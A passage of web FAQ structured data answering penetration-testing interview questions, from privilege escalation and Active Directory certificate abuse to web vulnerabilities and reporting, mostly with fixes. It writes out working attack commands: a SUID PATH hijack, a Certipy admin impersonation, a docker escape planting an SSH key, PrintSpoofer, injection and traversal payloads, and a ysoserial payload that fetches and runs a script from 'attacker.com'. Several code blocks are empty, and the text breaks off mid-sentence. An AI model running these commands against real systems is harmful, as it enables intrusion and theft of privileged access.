\n```\nImpact is severe precisely because it's persistent and hits every visitor with no per-victim interaction needed — unlike normal reflected XSS which needs a crafted link per victim. Fix: include every response-varying header in the cache key, or better, strip/normalize those headers at the edge before they ever reach the origin."}},{"@type":"Question","name":"You discover a custom compiled SUID binary owned by root that executes a shell command using a relative binary path. Walk through manipulating the PATH environment variable and creating a malicious executable to spawn a root shell.","acceptedAnswer":{"@type":"Answer","text":"A SUID binary runs with the *file owner's* privileges (root, in this case) regardless of who executes it — that's the whole point of SUID, letting a normal user run something like `passwd` with elevated rights only for that specific, trusted action. The vulnerability here is that the binary, while running as root, internally shells out to another program by name only (e.g. it calls `system(\"ps aux\")` or `system(\"ls\")`) instead of an absolute path like `/bin/ps`. When a program is invoked by bare name, the OS looks it up by walking directories listed in the `PATH` environment variable in order — and critically, the *calling user's* `PATH` is what's consulted, since environment variables are inherited from the shell that launched the SUID binary, not reset to some fixed root-controlled value (SUID only elevates the *effective user ID*, not the environment).\n\nSo you first confirm which command it shells out to — via `strings` on the binary, or `strace -f -e execve ./binary` to watch what it actually execs at runtime. Say it calls `ps` unqualified. You then create your own file named `ps`, containing a shell payload, mark it executable, and prepend its directory to your `PATH` so it's found before the real `/bin/ps`.\n\nWhen you then run the SUID binary, it looks up `ps` via `PATH`, finds your malicious version first, and executes it — but because the SUID binary itself is still running with its effective UID set to root at that point, your injected `ps` script inherits that same root privilege, and `/bin/bash -p` (the `-p` flag preserves the elevated privilege rather than dropping it, which a normal shell invocation would do) hands you a root shell.\n\n```bash\necho '/bin/bash -p' > /tmp/evil/ps\nchmod +x /tmp/evil/ps\nexport PATH=/tmp/evil:$PATH\n./vulnerable_suid_binary\n# root shell\n```\nFix: always call subprocesses via absolute path (`/bin/ps`) in privileged code, and never trust an inherited `PATH` inside anything running with elevated rights."}},{"@type":"Question","name":"During an Active Directory penetration test, enumeration tooling discovers a certificate services template vulnerable to a common misconfiguration allowing enrollees to supply their own subject and client authentication. Walk through requesting a certificate as Domain Administrator and using it to obtain domain admin credentials.","acceptedAnswer":{"@type":"Answer","text":"This is the classic ESC1 misconfiguration in Active Directory Certificate Services (AD CS). A certificate template is meant to be tightly scoped — e.g. 'only issue a cert with the requester's own identity baked in, for client auth' — but ESC1 templates combine three settings that together break that assumption: `ENROLLEE_SUPPLIES_SUBJECT` (the requester, not the CA, decides whose identity the cert asserts), the Client Authentication EKU is present (so the resulting cert can actually be used to log in via Kerberos PKINIT), and low-privileged users (often 'Domain Users' or 'Authenticated Users') have Enroll rights on the template. Put together: any low-priv user can request a certificate and simply declare in the request that the subject is the Domain Administrator.\n\nYou find these templates with Certipy or Certify.exe, which enumerate the AD CS configuration in LDAP (`CN=Certificate Templates,...`) and flag templates matching the ESC1 fingerprint automatically rather than requiring you to manually cross-reference ACLs and EKUs.\n\nThe attack itself is a single enrollment request where you set the Subject Alternative Name to the target admin's UPN instead of your own:\n```bash\ncertipy req -u [email protected] -p 'Password1' \\\n -ca CORP-CA -template VulnTemplate \\\n -upn [email protected]\n```\nThe CA issues the certificate because the template lets you supply the subject and doesn't verify it matches your own identity. You then use that certificate to authenticate as the Domain Administrator via Kerberos PKINIT (`certipy auth -pfx admin.pfx -domain domain.local`), which returns a TGT for the administrator account — from there you can DCSync or simply request a service ticket to any resource in the domain.\n\nRemediation: remove `ENROLLEE_SUPPLIES_SUBJECT` from any template with Client Authentication EKU, and restrict Enroll permissions on sensitive templates to only the accounts that legitimately need them."}},{"@type":"Question","name":"A local Windows enumeration script finds a service running as LocalSystem with an unquoted binary path containing spaces, inside a parent directory with weak write permissions for regular users. Explain how unquoted service path execution works and how to plant a payload to escalate to SYSTEM.","acceptedAnswer":{"@type":"Answer","text":"Windows resolves an unquoted path containing spaces by trying each space-delimited segment as a potential executable, working outward from the shortest guess, until something actually exists on disk. So a service binary registered as `C:\\Program Files\\My App\\service.exe` with no surrounding quotes gets interpreted as a search sequence: first try `C:\\Program.exe`, then `C:\\Program Files\\My.exe`, then `C:\\Program Files\\My App\\service.exe` (the real, intended target) only as a last resort. If any of the earlier candidate locations is writable by your low-privileged user and you drop a file there with the matching name, Windows launches yours before it ever gets to the legitimate path.\n\nThis matters specifically because the service runs as LocalSystem — the exploit doesn't need a flaw in the service's code at all, just a writable directory somewhere along that lookup chain. `wmic service get name,pathname,startmode` (or `sc qc `) shows you the exact unquoted path and confirms the service auto-starts, and `icacls` on each candidate directory tells you which ones your account can write to.\n\nGiven a path like `C:\\Program Files\\Vendor App\\service.exe`, if `C:\\Program Files\\Vendor App\\` allows writes to Users/Everyone, you drop a file at `C:\\Program Files\\Vendor.exe` (note: the space in 'Program Files' means the first real break point is after 'Program', so depending on the exact path you target whichever writable segment exists):\n```cmd\ncopy payload.exe \"C:\\Program Files\\Vendor.exe\"\nnet stop VulnService\nnet start VulnService\n```\nWhen the service restarts, Windows finds and runs your planted binary first, running it as LocalSystem — instant SYSTEM shell. Fix: quote every service path in the registry (`\"C:\\Program Files\\Vendor App\\service.exe\"`) and lock write permissions on `Program Files` subdirectories to admins only, which is the OS default that this misconfiguration violates."}},{"@type":"Question","name":"On a compromised Linux host, your low-privileged user is a member of the docker group with access to the Docker daemon socket. How do you spawn a privileged container mounting the host root filesystem to read sensitive host files or inject SSH keys into the host root directory?","acceptedAnswer":{"@type":"Answer","text":"Membership in the `docker` group is functionally equivalent to root on the host, even though it doesn't look like a privilege escalation at first glance — the Docker daemon itself runs as root, and anyone who can talk to its Unix socket (`/var/run/docker.sock`) can ask it to do absolutely anything a root process can do, including bind-mounting the host's real root filesystem into a container you control. Docker doesn't scope what a socket-holder can mount; it trusts that anyone with socket access is already meant to have that level of control.\n\nThe attack is a single `docker run` command: you launch a container, bind-mount the host's `/` into a directory inside the container, and now that container process (which the daemon runs as root by default, unless user-namespace remapping is explicitly configured) has a full read/write view of the real host filesystem through that mount point — none of the container's own isolation mechanisms apply to files you're accessing this way, because you're just reading/writing regular files, not exploiting the container boundary itself.\n\n```bash\ndocker run -v /:/mnt --rm -it alpine chroot /mnt sh\n# now inside a root shell chrooted into the REAL host filesystem\ncat /etc/shadow\necho 'ssh-ed25519 AAAA... attacker' >> /root/.ssh/authorized_keys\n```\nFrom here you can read any secret on the host, plant an SSH key for `root` for persistent access, or just directly modify `/etc/sudoers`. This is such a well-known pattern that most hardening guides explicitly warn: adding a user to the `docker` group must be treated as granting that user full root, not as a scoped 'containers only' permission — the fix is rootless Docker, strict socket-access control, or routing container management through an API layer that enforces real authorization rather than raw socket access."}},{"@type":"Question","name":"You obtain a web shell running as a low-privileged IIS application pool identity on Windows with impersonation privilege enabled. Walk through the mechanics of named-pipe impersonation / COM RPC reflection privilege escalation techniques used to elevate to NT AUTHORITY\\SYSTEM.","acceptedAnswer":{"@type":"Answer","text":"IIS application pool identities (like `IIS APPPOOL\\DefaultAppPool`) are deliberately low-privileged for isolation, but Windows almost always leaves them with `SeImpersonatePrivilege` intact, because IIS legitimately needs to impersonate authenticated clients for some operations. The 'potato' family of exploits (RottenPotato, JuicyPotato, PrintSpoofer, RoguePotato) all abuse that one privilege the same fundamental way: trick a SYSTEM-level Windows service into authenticating to a named pipe or RPC endpoint you control, capture the resulting SYSTEM security token from that authentication handshake, then use `SeImpersonatePrivilege` to legally impersonate that captured token.\n\nThe classic version coerces the `NT AUTHORITY\\SYSTEM`-running DCOM/BITS service into connecting back to a local COM server you spin up, by pointing it at a crafted moniker (`ncalrpc` or similar) — when that SYSTEM service authenticates over NTLM to complete the COM handshake, it does so over a named pipe you're listening on, so you receive its access token mid-handshake. `SeImpersonatePrivilege` normally exists to let a process impersonate a client it's actively serving (e.g. IIS impersonating the logged-in browser user for file access) — the exploit just supplies a SYSTEM 'client' instead of a real one, and Windows has no way to distinguish that the impersonated party is more privileged than you.\n\nNewer variants like PrintSpoofer instead abuse the Print Spooler service (`spoolsv.exe`), coercing it to connect to your named pipe via `RpcRemoteFindFirstPrinterChangeNotification`, which achieves the exact same SYSTEM-token capture without needing a free local port for the COM listener (which JuicyPotato needed and which got patched/mitigated on newer Windows via `NTLM reflection` protections).\n\n```cmd\nPrintSpoofer64.exe -i -c \"cmd /c whoami\"\n# NT AUTHORITY\\SYSTEM\n```\nMitigation: run app pool identities without `SeImpersonatePrivilege` where the app genuinely doesn't need it, and keep Windows patched, since Microsoft has closed off several of the specific coercion vectors over time (though the general privilege-abuse pattern keeps resurfacing with new coercion techniques)."}},{"@type":"Question","name":"You completed a penetration test where you gained Domain Administrator access via a chain of low-severity findings. How do you write an Executive Summary that translates technical concepts (such as LLMNR poisoning and unconstrained delegation) into measurable business risk and financial impact for the Board of Directors?","acceptedAnswer":{"@type":"Answer","text":"A board doesn't care what LLMNR is, and burying the summary in acronyms actively undermines the report — the job of the executive summary is to answer three questions a non-technical reader actually has: what could a real attacker have done, how likely is that attacker to exist, and what does it cost the business if it happens. Everything technical belongs in the detailed findings section further down; the summary is a translation layer, not a compressed version of the same content.\n\nConcretely, you restate the attack chain as a narrative in business terms: 'A tester with no credentials, using only a laptop on the office guest network, was able to intercept internal name-resolution broadcast traffic and capture an employee's password hash within 20 minutes. That access was then chained through a domain misconfiguration to obtain full administrative control over every computer, user account, and file server in the company, within four hours of the engagement starting.' That single sentence sequence conveys severity, speed, and low attacker sophistication required — the things that actually drive board-level urgency — without naming LLMNR or delegation once.\n\nFor financial framing, you tie the technical outcome to concrete, board-relevant exposure categories: ransomware/business-interruption cost (domain admin = ability to deploy ransomware company-wide), regulatory/breach-notification exposure if the compromised systems touch customer PII or payment data, and the realistic dwell-time/detection gap (if your team wasn't detected during the test, that's evidence of the same blind spot a real attacker gets). Where possible you anchor these to numbers the board already tracks — cyber insurance deductible, average incident response cost from the company's own past incidents or industry benchmarks (e.g. IBM's Cost of a Data Breach report) — rather than a spreadsheet building the estimate from scratch, since anchoring to a familiar external benchmark is more persuasive and more defensible than an internally-derived guess."}},{"@type":"Question","name":"In a penetration testing report, a critical finding resulted from chaining an unauthenticated info leak, an SSRF, and a weak internal Redis password. How do you structure remediation guidance so development teams address the systemic architectural root causes rather than just patching the initial information leak?","acceptedAnswer":{"@type":"Answer","text":"The tempting but wrong move here is to write one remediation item — 'fix the info leak' — because that's the first domino, and closing it does technically break this specific chain. But that's treating the symptom: the info leak only mattered because the SSRF existed to make use of it, and the SSRF only mattered because Redis was reachable and weakly authenticated. If you only patch the entry point, the underlying network and trust-boundary problems stay in place for the next chain someone finds.\n\nThe better structure is to report each link both individually (so each has its own CVSS score, owner, and fix, since different links may belong to different teams) and then add a dedicated 'root cause / systemic issue' section that names the pattern connecting them: internal services (Redis) were reachable from application servers with no network segmentation and default-weak auth, and the app itself had no egress filtering to stop it from reaching arbitrary internal hosts in the first place. That framing turns three unrelated-looking bugs into one coherent architectural gap.\n\nConcretely, remediation guidance should be layered in defense-in-depth order rather than just fixing the leak:\n1. **Immediate**: patch the info leak (removes this specific chain today).\n2. **Short-term**: set a strong Redis password/ACL and bind it to `localhost` or an internal-only interface, and disable dangerous commands (`FLUSHALL`, `CONFIG`) via `rename-command`.\n3. **Architectural**: implement network segmentation/egress allowlisting so app servers can only reach the specific internal hosts/ports they legitimately need — this is the fix that prevents the *next* SSRF from reaching Redis at all, regardless of what leaks the info leak or any future bug exposes.\n\nThis layered structure is what lets a dev team prioritize correctly — fix the urgent thing now, but don't let the report imply the job is done there, because the segmentation gap is what will produce the next incident with a completely different initial bug."}},{"@type":"Question","name":"You discover a remote code execution vulnerability on a live production banking database server. How do you construct a non-destructive Proof of Concept (such as capturing an environment variable or hostname output) to prove critical impact without corrupting financial records or causing service interruption?","acceptedAnswer":{"@type":"Answer","text":"On a production financial system, the standard of proof shifts: you don't need to prove you *could* drop tables or exfiltrate account data, you need to prove code execution occurred at all, with the absolute minimum footprint, because the cost of an overzealous PoC (corrupted records, an outage, or worse, a genuine compliance incident) massively outweighs the marginal credibility gained from a flashier demonstration. A responsible tester treats 'prove it, don't wreck it' as a hard constraint, not a nice-to-have.\n\nThe standard safe PoC commands are ones that are inherently read-only and produce output identifiable as coming from that exact server, without touching any application data: `whoami` (proves the execution context/privilege level), `hostname` (proves you're on the actual target, not a decoy or cached response), and reading a single, clearly non-sensitive environment variable (like `echo $PATH` or the OS version string) rather than dumping the full environment, which might contain database credentials or API keys you don't need to see or handle.\n\n```bash\n# Non-destructive RCE PoC, exact commands executed and logged in the report:\nid; hostname; cat /etc/os-release\n# uid=999(dbservice) hostname=PROD-DB-03 Ubuntu 22.04\n```\nYou capture the full request/response and a timestamp for the report's evidence appendix, immediately stop testing that vector once execution is confirmed (no further exploitation, no lateral movement from this foothold without separately agreed scope), and notify the client's technical point of contact the same day given the severity — critical production RCE findings usually warrant an out-of-band verbal/written heads-up rather than waiting for the final report, per most rules-of-engagement docs. The report itself documents exactly what was run and what was NOT attempted, so the client can trust the boundary you kept."}},{"@type":"Question","name":"During a re-test engagement, the client claims to have fixed a path traversal vulnerability by stripping directory-traversal sequences from user input. How do you test for filter bypasses (such as alternate encodings or double-encoding) and provide engineering with the definitive, secure path normalization fix?","acceptedAnswer":{"@type":"Answer","text":"A filter that just strips the literal string `../` is one of the most commonly-broken 'fixes' in the industry, because it treats path traversal as a string-matching problem instead of a path-resolution problem — and there are many representations of the same traversal that never contain that exact substring. Your job on retest is specifically to check whether the fix addresses the underlying vulnerability class or just the one payload the original report happened to use.\n\nYou systematically try encoding and structural variants: URL-encoding (`%2e%2e%2f`), double URL-encoding (`%252e%252e%252f`, which survives a single decode-and-filter pass and only becomes `../` after the second decode that often happens deeper in the stack, e.g. at the OS or a downstream library), Unicode/overlong UTF-8 encodings (`%c0%ae%c0%ae/` on some legacy parsers), backslashes on Windows backends (`..\\`), and the classic self-defeating-filter bypass where the filter removes `../` exactly once, so `....//` becomes `../` after a single pass of stripping (`....//` → strip `../` from the middle → `../`). Burp's Intruder with a traversal-payload wordlist covering these encodings makes this fast to run systematically rather than by hand.\n\n```\n# Naive filter blocks: ../../../etc/passwd\n# But often still accepts: ..%2f..%2f..%2fetc%2fpasswd\n# ....//....//....//etc/passwd\n# ..\\..\\..\\windows\\win.ini\n```\nThe definitive fix you hand engineering isn't 'add more strings to the blocklist' — that's an arms race you keep losing. It's: resolve the fully-qualified canonical path (e.g. Java's `Path.normalize()` + `toRealPath()`, Node's `path.resolve()`, Python's `os.path.realpath()`) and then explicitly verify that the resolved absolute path still starts with the intended base directory, rejecting anything that doesn't — this closes every encoding variant at once because you're checking the *result* of resolution, not the *input's* surface form, so no future encoding trick can slip past it."}},{"@type":"Question","name":"What's the difference between a vulnerability assessment and a penetration test?","acceptedAnswer":{"@type":"Answer","text":"A vulnerability assessment is breadth-first and largely automated: you run scanners (Nessus, Qualys, OpenVAS) across a large scope, get a list of known CVEs and misconfigurations ranked by severity, and hand that list over. It answers 'what weaknesses exist here' but doesn't prove any of them are actually exploitable in context, and it says nothing about how findings might chain together.\n\nA penetration test is depth-first and manual-driven: you take a defined goal (e.g. 'reach the customer database' or 'obtain domain admin') and actually try to achieve it, using scan results as a starting point but then chaining, pivoting, and manually verifying real-world impact. A pentest might find that three individually 'low' scanner findings combine into a full domain compromise — something no scanner report would ever surface on its own, because scanners test in isolation and don't reason about attack paths.\n\nConcretely: a VA might flag 'SMB signing not required' as a medium finding on 40 machines and stop there. A pentest takes that same finding, actually performs an NTLM relay attack against it, and demonstrates it leads to a domain admin shell — same underlying weakness, completely different level of proof and urgency conveyed to the client. Most compliance frameworks (PCI-DSS) explicitly require both, on a schedule, because they answer different questions."}},{"@type":"Question","name":"Walk through the standard phases of a penetration testing methodology (e.g. PTES).","acceptedAnswer":{"@type":"Answer","text":"Most recognized methodologies (PTES, OWASP Testing Guide, NIST SP 800-115) converge on the same rough shape, even if the exact phase names differ slightly. It starts with **pre-engagement**: scoping, rules of engagement, getting written authorization — this is the phase that legally separates a pentest from a crime, and skipping it is the single biggest mistake a new tester can make.\n\nNext is **reconnaissance/intelligence gathering** (passive OSINT first, then active scanning) to build a map of the target's attack surface, followed by **threat modeling and vulnerability analysis**, where you correlate what you found against known weaknesses and prioritize what's worth attempting.\n\n**Exploitation** is where you actually attempt to breach identified weaknesses to confirm they're real, followed by **post-exploitation** — assessing what an attacker could actually do from that foothold (privilege escalation, lateral movement, data access) since initial access alone rarely reflects the full business risk. The engagement closes with **reporting**, translating everything into findings with severity, evidence, and remediation, and often a **retest** phase later to confirm fixes actually worked. Skipping any phase (especially reporting quality or retest) is where a technically good test still fails to deliver client value."}},{"@type":"Question","name":"What's the difference between black-box, white-box, and gray-box penetration testing?","acceptedAnswer":{"@type":"Answer","text":"These describe how much information and access you're given at the start, and each simulates a different real-world attacker profile. Black-box means you start with essentially nothing but the company name or a URL, exactly like an external attacker with no inside knowledge — you spend real time on reconnaissance before you can even attempt exploitation, which makes it the most realistic simulation of an opportunistic outside attacker but also the most time-expensive per finding.\n\nWhite-box (sometimes called 'crystal-box') means you're given everything up front — source code, architecture diagrams, credentials, network diagrams — so you can go straight to deep analysis (like manual code review for logic flaws) instead of spending budget rediscovering things the client already knows about their own system. It finds more, deeper issues per hour, but doesn't test how well the org's external-facing detection and obscurity actually hold up.\n\nGray-box sits in between and is the most common choice in practice: you're given some baseline (e.g. a low-privileged user account, or basic network access) to skip the most time-consuming initial-access work, and then spend your budget testing what a semi-informed attacker — a malicious insider, or an external attacker who already phished one low-level credential — could do from there. Choosing between them is a budget/goal tradeoff, not a quality tradeoff: a well-run gray-box test of a complex app usually finds more real, deep issues than a black-box test would in the same number of hours."}},{"@type":"Question","name":"What is the OWASP Top 10 and why does it matter for web application penetration testing?","acceptedAnswer":{"@type":"Answer","text":"The OWASP Top 10 is a periodically updated (roughly every 3-4 years) ranked list of the most critical web application security risk *categories*, compiled from real-world vulnerability data contributed by security firms and bug bounty platforms. It's not a checklist of specific bugs — it's a set of risk categories like Broken Access Control, Cryptographic Failures, Injection, and Security Misconfiguration — because the specific implementation of, say, an access control bug looks different in every app, but the underlying category recurs constantly across the industry.\n\nIt matters for pentesting for a few practical reasons: it gives testers and clients a shared vocabulary (a report saying 'this is an A01:2021 Broken Access Control finding' is immediately meaningful to anyone who's read the list), it shapes methodology (most web app test plans are explicitly structured to cover each category rather than testing ad-hoc), and it's frequently a compliance requirement — PCI-DSS and many contractual security clauses explicitly mandate testing against the current OWASP Top 10.\n\nA concrete example: 'Broken Access Control' has been the #1 category since the 2021 revision, and in practice that usually shows up as something mundane like an IDOR — `GET /api/invoices/1042` returning another customer's invoice just because you changed the ID in the URL, with no server-side check that the requester actually owns that invoice. That one bug class alone accounts for a huge share of real breaches, which is exactly the kind of prevalence data the list is built from."}},{"@type":"Question","name":"How do you manually test a login form for basic SQL injection before reaching for automated tools?","acceptedAnswer":{"@type":"Answer","text":"Manual testing first matters because automated scanners generate noise and can miss context-specific injection points, and because understanding the mechanism yourself is what lets you actually exploit (not just detect) a finding a scanner flags. The classic first probe on a login form is a single quote (`'`) in the username field — if the backend builds a query like `SELECT * FROM users WHERE username = '$input'` without parameterization, that single character breaks the SQL syntax and the app usually responds with a database error message, a blank page, or an unusual delay, any of which is a strong signal.\n\nThe next step is the tautology-based auth bypass payload: entering `' OR '1'='1' -- ` as the username (with any password) turns the query into `SELECT * FROM users WHERE username = '' OR '1'='1' -- '`, where everything after `--` is commented out and `'1'='1'` is always true, so the query returns every row in the users table — many vulnerable login implementations then just log you in as whichever row comes back first, often an admin account by row order.\n\nIf there's no visible error and no obvious bypass, you move to **blind** techniques: boolean-based (`' AND 1=1--` vs `' AND 1=2--`, comparing whether the page behaves differently) or time-based (`' AND SLEEP(5)--`, checking if the response takes 5 seconds longer, which proves the query executed your injected clause even with zero visible output difference).\n\n```\nUsername: admin' -- \nPassword: anything\n# resulting query: SELECT * FROM users WHERE username='admin' -- ' AND password='...'\n# comment strips the password check entirely -> logged in as admin\n```\nOnce you've confirmed injection manually, that's when sqlmap earns its keep — for the tedious part (enumerating the schema, dumping data), not for discovery."}},{"@type":"Question","name":"What's the difference between reflected, stored, and DOM-based Cross-Site Scripting (XSS)?","acceptedAnswer":{"@type":"Answer","text":"All three end the same way — attacker JavaScript executing in a victim's browser in the context of a trusted site — but they differ in where the malicious payload lives and how it reaches the victim, which changes both how you find them and how dangerous they typically are.\n\nReflected XSS is the payload round-tripping through a single request: it comes in via a URL parameter or form field, the server echoes it straight back into the page without sanitizing it, and it executes immediately. It requires the attacker to get the victim to click a crafted link (e.g. via phishing), so it's inherently limited to whoever clicks that specific link. Example: `https://shop.com/search?q=` — if the search page reflects `q` unescaped into the results page, clicking that link steals the victim's session cookie.\n\nStored XSS is more severe because the payload is saved server-side (a comment, a profile bio, a support ticket) and then served to *every* subsequent visitor who views that content — no crafted link or per-victim social engineering needed, which is exactly the pattern in the web-cache-poisoning-style attacks that make it dangerous at scale.\n\nDOM-based XSS is different from both because the vulnerability is entirely client-side: the server never sees the malicious payload at all — it's JavaScript on the page reading an untrusted source (like `location.hash` or `document.referrer`) and writing it into the DOM via an unsafe sink (`innerHTML`, `eval`) without the request ever hitting the server with the payload in a form the server-side code would sanitize. A URL like `https://app.com/page#` can trigger this purely client-side if a script does `document.write(location.hash)`, and server-side output encoding does nothing to stop it since the server never processed that fragment at all."}},{"@type":"Question","name":"Explain Cross-Site Request Forgery (CSRF) and how modern frameworks and browsers mitigate it.","acceptedAnswer":{"@type":"Answer","text":"CSRF exploits the fact that browsers automatically attach cookies (including session cookies) to every request to a site, regardless of which page initiated that request. If a bank's 'transfer money' endpoint only checks 'is there a valid session cookie', an attacker can host a page with a hidden auto-submitting form pointed at that endpoint — when a logged-in victim visits the attacker's page, their browser happily attaches their real session cookie to the forged request, and the bank processes it as a legitimate action from that user, because the cookie alone was treated as sufficient proof of intent.\n\n```html\n\n
\n \n \n
\n\n```\nThe standard server-side defense is a CSRF token: a random, unpredictable value tied to the user's session that must be included in every state-changing request and verified server-side, which the attacker's page has no way to know or read (same-origin policy blocks them from fetching it from the real site). Most modern frameworks (Django, Rails, Spring) generate and validate this automatically for form submissions.\n\nThe more recent, complementary browser-level defense is the `SameSite` cookie attribute — setting a session cookie to `SameSite=Lax` or `Strict` tells the browser to simply not attach that cookie on cross-site requests in the first place, which stops the classic CSRF pattern even without an app-level token, though tokens remain the more explicit, defense-in-depth-friendly control since `SameSite` behavior has edge cases (subdomains, top-level navigation exceptions under `Lax`) that a determined attacker can sometimes work around."}},{"@type":"Question","name":"What is an Insecure Direct Object Reference (IDOR) vulnerability, and how do you test for it?","acceptedAnswer":{"@type":"Answer","text":"IDOR happens when an application exposes a direct reference to an internal object — usually a database ID in a URL or API parameter — and lets you access or modify that object just by changing the reference, because the server checks that you're *authenticated* but never checks that you're *authorized* to touch that specific record. It's arguably the most common real-world access control bug because it's easy to introduce (developers naturally build `GET /orders/{id}`) and easy to miss in testing (functionally, everything 'works' from the logged-in user's own perspective).\n\nTesting for it is mechanically simple once you understand the pattern: log in as two separate test accounts (User A and User B), perform an action as User A that generates an object with an ID (e.g. create an order, note the ID), then replay that same request as User B's authenticated session but with User A's object ID substituted in. If User B successfully views, edits, or deletes User A's data, that's a confirmed IDOR.\n\n```\n# Logged in as User B, but requesting User A's invoice:\nGET /api/invoices/1042\nAuthorization: Bearer \n\n# Vulnerable response: returns User A's invoice anyway (200 OK, full data)\n# Expected: 403 Forbidden\n```\nIt's worth checking every HTTP verb, not just GET — an IDOR on `DELETE /api/invoices/{id}` or `PUT /api/users/{id}/email` is far more damaging than a read-only leak. The fix is always the same: every object-access code path must independently verify server-side that the authenticated user actually owns or has been granted access to that specific object ID, not just that they're logged in generally."}},{"@type":"Question","name":"What is Server-Side Request Forgery (SSRF) at a conceptual level, and why is it so commonly critical in cloud environments?","acceptedAnswer":{"@type":"Answer","text":"SSRF happens whenever a server-side feature fetches a URL that's fully or partially controlled by the user — image thumbnailing, webhook registration, 'import from URL' features, PDF generators that render remote content — and the server has no restriction on *where* that fetch can go. The attacker isn't attacking their own browser; they're using the trusted server as a proxy to reach places the attacker themselves couldn't reach directly, like internal-only services behind a firewall.\n\nA simple example: an app that lets users set a profile picture 'from URL' fetches whatever URL you give it and displays it back. If you instead supply `http://localhost:6379/`, and there's an unauthenticated Redis instance listening internally, you've just used the trusted application server to probe or interact with an internal service you'd otherwise have no network path to at all.\n\nSSRF is especially critical specifically in cloud environments because every major cloud provider exposes an instance metadata service on the link-local address `169.254.169.254`, reachable from any workload on that instance without authentication by design (it's meant to let the instance bootstrap its own identity/config). If an app running on that instance has any SSRF-able endpoint, an attacker can point it at the metadata service and retrieve the instance's IAM role credentials — turning a 'the app can fetch arbitrary URLs' bug into full cloud-account compromise, which is a much bigger leap in impact than SSRF against on-prem infrastructure typically produces. This is exactly the mechanism behind several major real-world cloud breaches."}},{"@type":"Question","name":"What is XML External Entity (XXE) injection, and how do you exploit it to read local files on the server?","acceptedAnswer":{"@type":"Answer","text":"XXE abuses a feature of the XML spec itself: a Document Type Definition (DTD) can declare custom 'entities' — essentially named placeholders — and one entity type, the external entity, tells the XML parser to fetch its value from an external source like a local file path or a URL, then substitute that content wherever the entity is referenced in the document. If an application parses user-supplied XML with a parser that has external entity resolution enabled (which was the default in many older XML libraries), an attacker can define an entity pointing at a sensitive local file and have the parser read and embed that file's contents directly into the parsed output.\n\nA minimal exploit looks like this: you declare an entity `xxe` pointing at `file:///etc/passwd`, reference `&xxe;` somewhere the application will actually reflect back to you (a field that gets echoed in an error message or a response body), and the parser dutifully substitutes the file's real contents in place of the entity reference before your data ever reaches the application logic.\n\n```xml\n\n\n]>\n&xxe;\n```\nBeyond local file read, XXE can be escalated to SSRF (pointing the entity at an internal URL instead of a file), or to a blind exfiltration technique when there's no direct output reflection — using an 'out-of-band' XXE that makes the parser itself issue a DNS/HTTP request to an attacker-controlled server carrying the stolen data as part of the request, confirmed via a service like Burp Collaborator. The fix is disabling DTD processing and external entity resolution entirely in the XML parser configuration (most modern parsers now default to this being off, which is why XXE has become rarer but still shows up in legacy Java/.NET XML processing code)."}},{"@type":"Question","name":"Explain how insecure deserialization can lead to remote code execution, using a real gadget-chain concept.","acceptedAnswer":{"@type":"Answer","text":"Deserialization is the process of turning a serialized byte stream (often produced by the app itself, but not always trustworthy input) back into a live in-memory object. The danger is that many object-oriented languages let deserialization trigger code automatically as a side effect of *reconstructing* an object — magic methods like Java's `readObject()`, PHP's `__wakeup()`/`__destruct()`, or Python's `__reduce__` — and if an attacker controls the serialized bytes, they control which class gets instantiated and what its fields contain, which means they can potentially trigger those magic methods on classes never intended to be attacker-reachable.\n\nA 'gadget chain' is a sequence of otherwise-benign classes already present in the application's own dependencies (its normal libraries — Apache Commons Collections is the textbook Java example) that, when chained together via their side-effecting methods, add up to something dangerous like arbitrary command execution — even though no single class in the chain was designed to do anything malicious on its own. The attacker doesn't need to inject new code; they just need to construct a serialized object graph that, when deserialized, walks through this chain of legitimate method calls in an order the developers never anticipated, ending in something like `Runtime.exec()`.\n\nTools like `ysoserial` for Java automate building these payloads against known gadget chains in common libraries — you pick a chain matching whatever's on the target's classpath, give it a command, and it emits the serialized bytes:\n```bash\njava -jar ysoserial.jar CommonsCollections6 'curl attacker.com/shell.sh|bash' > payload.ser\n```\nYou then find any endpoint that deserializes attacker-influenced data (a cookie, a hidden form field, a message queue payload) and submit that payload in its place. The core fix isn't 'sanitize the input' — it's to never deserialize untrusted data with a general-purpose deserializer at all; use a data format with no executable-code side effects (JSON with a strict schema) or an allowlist of exactly which classes are permitted to be deserialized."}},{"@type":"Question","name":"Explain what a stack-based buffer overflow is and how it can be used to hijack a program's execution flow.","acceptedAnswer":{"@type":"Answer","text":"A stack-based buffer overflow happens when a program writes more data into a fixed-size local buffer than that buffer was allocated to hold, and the language/runtime doesn't automatically bounds-check the write (classic C functions like `strcpy`, `gets`, and `sprintf` are the usual culprits, since they copy until a null terminator rather than a length limit). Because local variables live on the call stack right next to bookkeeping data — including the saved return address that tells the CPU where to resume execution once the current function finishes — writing past the end of the buffer lets you overwrite that return address with a value of your choosing.\n\nWhen the vulnerable function returns, the CPU pops what it thinks is the legitimate return address off the stack and jumps to it — except now that's whatever address the attacker wrote. If the attacker also placed shellcode (raw machine instructions, e.g. to spawn a shell) somewhere reachable, like inside the same oversized buffer, and points the overwritten return address at that shellcode's location, execution jumps straight into attacker-controlled code instead of back into the legitimate program.\n\n```c\nvoid vulnerable(char *input) {\n char buf[64];\n strcpy(buf, input); // no bounds check — input longer than 64 overflows buf\n}\n// attacker supplies: [64 bytes of padding][NOP sled][shellcode][overwritten return addr -> points into NOP sled/shellcode]\n```\nModern systems make this much harder in practice through mitigations like stack canaries (a random value placed before the return address that's checked before returning — corrupted canary means the program aborts instead of jumping anywhere), DEP/NX (marking the stack non-executable so jumping into injected shellcode fails outright), and ASLR (randomizing memory layout so you can't reliably predict where your shellcode or any needed address will land) — which is exactly why modern real-world exploitation usually needs to defeat several of these layered protections together rather than relying on a raw overflow alone."}},{"@type":"Question","name":"What are ASLR and DEP/NX, and how do exploit developers typically bypass them together using a ROP chain?","acceptedAnswer":{"@type":"Answer","text":"DEP/NX (Data Execution Prevention / No-eXecute) marks memory regions like the stack and heap as non-executable, so even if an attacker successfully overflows a buffer and controls the instruction pointer, jumping into their own injected shellcode simply fails — the CPU refuses to execute code from a page marked data-only. ASLR (Address Space Layout Randomization) separately randomizes the base addresses of the stack, heap, and loaded libraries on every process run, so even if an attacker knows exactly what they want to jump to, they usually don't know its address in this particular run, which defeats naive hardcoded-address exploits.\n\nReturn-Oriented Programming (ROP) is the standard technique that defeats both simultaneously without needing to inject any new executable code at all. Instead of writing your own shellcode, you reuse tiny existing instruction sequences already present in the legitimate program or its loaded libraries — each ending in a `ret` instruction — called 'gadgets'. By chaining the *addresses* of many gadgets on the 